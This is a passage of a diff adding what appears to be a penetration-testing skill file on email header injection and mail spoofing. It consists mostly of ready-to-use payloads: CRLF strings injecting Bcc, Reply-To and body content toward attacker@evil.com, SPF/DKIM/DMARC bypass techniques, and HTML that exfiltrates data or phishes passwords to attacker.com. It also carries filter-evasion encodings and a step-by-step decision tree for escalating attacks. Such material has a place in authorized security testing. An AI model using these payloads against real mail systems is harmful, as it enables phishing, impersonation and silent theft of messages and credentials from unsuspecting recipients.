+ John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
68
+
69
+ Result headers:
70
+ From: John
71
+ Cc: attacker@evil.com
72
+ Bcc: spy@evil.com
73
+ ... (original headers continue)
74
+ ```
75
+
76
+ ### 2.3 Body Injection — Full Email Content Control
77
+
78
+ A blank line (`\r\n\r\n`) separates headers from body in SMTP:
79
+
80
+ ```
81
+ Payload in Subject:
82
+ Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
83
+
84
+ Result:
85
+ Subject: Urgent
86
+
87
+ Please click: https://evil.com/phish
88
+ .
89
+
90
+ (Blank line terminates headers, everything after is body)
91
+ ```
92
+
93
+ ### 2.4 Reply-To Manipulation for Phishing
94
+
95
+ ```
96
+ Payload in From name:
97
+ IT Support%0d%0aReply-To:attacker@evil.com
98
+
99
+ Victim sees "IT Support" as sender
100
+ Replies go to attacker@evil.com
101
+ ```
102
+
103
+ ### 2.5 Content-Type Injection for HTML Phishing
104
+
105
+ ```
106
+ Payload:
107
+ test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
108
+
109
+ Overrides Content-Type → renders HTML in email client
110
+ ```
111
+
112
+ ---
113
+
114
+ ## 3. COMMON VULNERABLE PATTERNS
115
+
116
+ ### PHP mail()
117
+
118
+ ```php
119
+ $to = $_POST['email'];
120
+ $subject = $_POST['subject'];
121
+ $message = $_POST['message'];
122
+ $headers = "From: noreply@target.com";
123
+
124
+ // ALL parameters are injectable:
125
+ mail($to, $subject, $message, $headers);
126
+
127
+ // $to injection: victim@x.com%0d%0aCc:attacker@evil.com
128
+ // $subject injection: Hello%0d%0aBcc:attacker@evil.com
129
+ // $headers injection: From: x%0d%0aBcc:attacker@evil.com
130
+ ```
131
+
132
+ ### Python smtplib
133
+
134
+ ```python
135
+ msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
136
+ server.sendmail(from_addr, to_addr, msg)
137
+ # user_from / user_subject injectable if not sanitized
138
+ ```
139
+
140
+ ### Node.js nodemailer
141
+
142
+ ```javascript
143
+ let mailOptions = {
144
+ from: req.body.from, // injectable
145
+ to: 'admin@target.com',
146
+ subject: req.body.subject, // injectable
147
+ text: req.body.message
148
+ };
149
+ transporter.sendMail(mailOptions);
150
+ ```
151
+
152
+ ---
153
+
154
+ ## 4. SPF / DKIM / DMARC BYPASS TECHNIQUES
155
+
156
+ ### 4.1 SPF (Sender Policy Framework) Bypass
157
+
158
+ SPF validates the `MAIL FROM` envelope sender IP against DNS TXT records.
159
+
160
+ | Technique | How |
161
+ |---|---|
162
+ | Subdomain delegation | Target has `include:_spf.google.com`; attacker uses Google Workspace to send as `anything@mail.target.com` |
163
+ | Include chain abuse | `v=spf1 include:third-party.com` — if third-party allows broad sending |
164
+ | DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this → `permerror` → some receivers accept |
165
+ | `+all` misconfiguration | `v=spf1 +all` allows any IP (rare but exists) |
166
+ | `?all` or `~all` | Softfail/neutral → most receivers still deliver to inbox |
167
+ | No SPF record | Domain without SPF → anyone can send as that domain |
168
+
169
+ ```bash
170
+ # Check SPF record:
171
+ dig TXT target.com +short
172
+ # Look for: v=spf1 ...
173
+
174
+ # Count DNS lookups (each include/a/mx/redirect = 1 lookup):
175
+ # >10 lookups = permerror = bypassed
176
+ ```
177
+
178
+ ### 4.2 DKIM (DomainKeys Identified Mail) Bypass
179
+
180
+ DKIM signs specific headers with a domain key. Bypass vectors:
181
+
182
+ | Technique | How |
183
+ |---|---|
184
+ | `d=` vs `From:` mismatch | DKIM signs with `d=subdomain.target.com` but `From: ceo@target.com` — valid DKIM, spoofed From |
185
+ | `l=` tag abuse | `l=` limits body length signed; attacker appends content after signed portion |
186
+ | Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
187
+ | Missing `h=from` | If `from` header not in signed headers list (`h=`), From can be modified |
188
+ | Key rotation window | During DKIM key rotation, old selector may still validate |
189
+
190
+ ```bash
191
+ # Check DKIM selector:
192
+ dig TXT selector._domainkey.target.com +short
193
+ # Common selectors: google, default, s1, s2, k1, dkim
194
+ ```
195
+
196
+ ### 4.3 DMARC (Domain-based Message Authentication) Bypass
197
+
198
+ DMARC requires SPF or DKIM to **align** with the `From:` header domain.
199
+
200
+ | Technique | How |
201
+ |---|---|
202
+ | Relaxed alignment (`aspf=r`) | SPF passes for `sub.target.com`, DMARC accepts for `target.com` |
203
+ | Organizational domain | `mail.target.com` aligns with `target.com` in relaxed mode |
204
+ | No DMARC record | Domain without DMARC → no policy enforcement |
205
+ | `p=none` | DMARC exists but policy is `none` → no enforcement, just reporting |
206
+ | Subdomain policy (`sp=none`) | Main domain `p=reject` but `sp=none` → subdomains spoofable |
207
+
208
+ ```bash
209
+ # Check DMARC:
210
+ dig TXT _dmarc.target.com +short
211
+ # Look for: v=DMARC1; p=none/quarantine/reject
212
+ ```
213
+
214
+ ### 4.4 Display Name Spoofing (Works Everywhere)
215
+
216
+ Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
217
+
218
+ ```
219
+ From: "admin@target.com" <attacker@evil.com>
220
+ From: "IT Security Team - target.com" <random@evil.com>
221
+ From: "noreply@target.com via Support" <attacker@evil.com>
222
+ ```
223
+
224
+ Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
225
+
226
+ ---
227
+
228
+ ## 5. MAIL CLIENT RENDERING ATTACKS
229
+
230
+ ### CSS-based data exfiltration
231
+
232
+ ```html
233
+ <!-- In HTML email body -->
234
+ <style>
235
+ #secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
236
+ #secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
237
+ </style>
238
+ <input id="secret" value="TARGET_VALUE">
239
+ ```
240
+
241
+ ### Remote image tracking
242
+
243
+ ```html
244
+ <img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
245
+ <!-- Invisible pixel — confirms email was opened, leaks IP, client info -->
246
+ ```
247
+
248
+ ### Form action hijacking
249
+
250
+ ```html
251
+ <!-- Some email clients render forms -->
252
+ <form action="https://attacker.com/phish" method="POST">
253
+ <input name="password" type="password" placeholder="Confirm your password">
254
+ <button type="submit">Verify</button>
255
+ </form>
256
+ ```
257
+
258
+ ---
259
+
260
+ ## 6. CONTACT FORM / EMAIL API INJECTION
261
+
262
+ ```text
263
+ # REST API
264
+ POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
265
+
266
+ # URL-encoded form
267
+ name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
268
+
269
+ # GraphQL
270
+ mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
271
+ ```
272
+
273
+ ---
274
+
275
+ ## 7. TESTING METHODOLOGY
276
+
277
+ ```
278
+ 1. Find email features: contact forms, password reset, invite/share, newsletters
279
+ 2. Test CRLF: inject test%0d%0aX-Injected:true in each field → check received headers
280
+ 3. Escalate: Bcc injection → body injection → Content-Type override
281
+ 4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
282
+ ```
283
+
284
+ ---
285
+
286
+ ## 8. DECISION TREE
287
+
288
+ ```
289
+ Found email-sending feature?
290
+
291
+ ├── User input goes into email headers?
292
+ │ ├── YES → Test CRLF injection
293
+ │ │ ├── %0d%0a in Subject/From/To field
294
+ │ │ │ ├── Extra header appears → CONFIRMED
295
+ │ │ │ │ ├── Inject Bcc: → silent exfiltration
296
+ │ │ │ │ ├── Inject body (blank line) → content control
297
+ │ │ │ │ └── Inject Reply-To: → redirect replies
298
+ │ │ │ │
299
+ │ │ │ └── Filtered? → Try encoding variants
300
+ │ │ │ ├── %250d%250a (double encode)
301
+ │ │ │ ├── %0a only (LF without CR)
302
+ │ │ │ └── Unicode \u000d\u000a
303
+ │ │ │
304
+ │ │ └── All encodings blocked → check SPF/DKIM/DMARC
305
+ │ │
306
+ │ └── NO (user input only in body) → limited impact
307
+ │ └── Check for HTML injection in email body
308
+ │ └── If HTML rendered → phishing / CSS exfil
309
+
310
+ ├── Want to spoof emails from target domain?
311
+ │ ├── Check SPF: dig TXT target.com
312
+ │ │ ├── No SPF / +all / ~all → direct spoofing possible
313
+ │ │ └── -all → SPF blocks; check DKIM/DMARC
314
+ │ │
315
+ │ ├── Check DMARC: dig TXT _dmarc.target.com
316
+ │ │ ├── No DMARC / p=none → spoofing delivered
317
+ │ │ ├── p=quarantine → lands in spam but delivered
318
+ │ │ └── p=reject → blocked; try subdomain (sp= policy)
319
+ │ │
320
+ │ └── All strict → Display name spoofing only
321
+ │ └── "admin@target.com" <attacker@evil.com>
322
+
323
+ └── Testing password reset email?
324
+ ├── Check for token in URL → open redirect chain?
325
+ │ └── See ../open-redirect/SKILL.md
326
+ └── Check for host header injection → password reset poisoning
327
+ └── See ../http-host-header-attacks/SKILL.md
328
+ ```
329
+
330
+ ---
331
+
332
+ ## 9. QUICK REFERENCE — KEY PAYLOADS
333
+
334
+ ```text
335
+ # BCC injection via Subject
336
+ Subject: Hello%0d%0aBcc:attacker@evil.com
337
+
338
+ # Body injection via From name
339
+ From: Test%0d%0a%0d%0aClick here: https://evil.com
340
+
341
+ # Reply-To hijack
342
+ From: Support%0d%0aReply-To:attacker@evil.com
343
+
344
+ # Full header stack injection
345
+ email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
346
+
347
+ # Display name spoof (no injection needed)
348
+ From: "security@target.com" <attacker@evil.com>
349
+ ```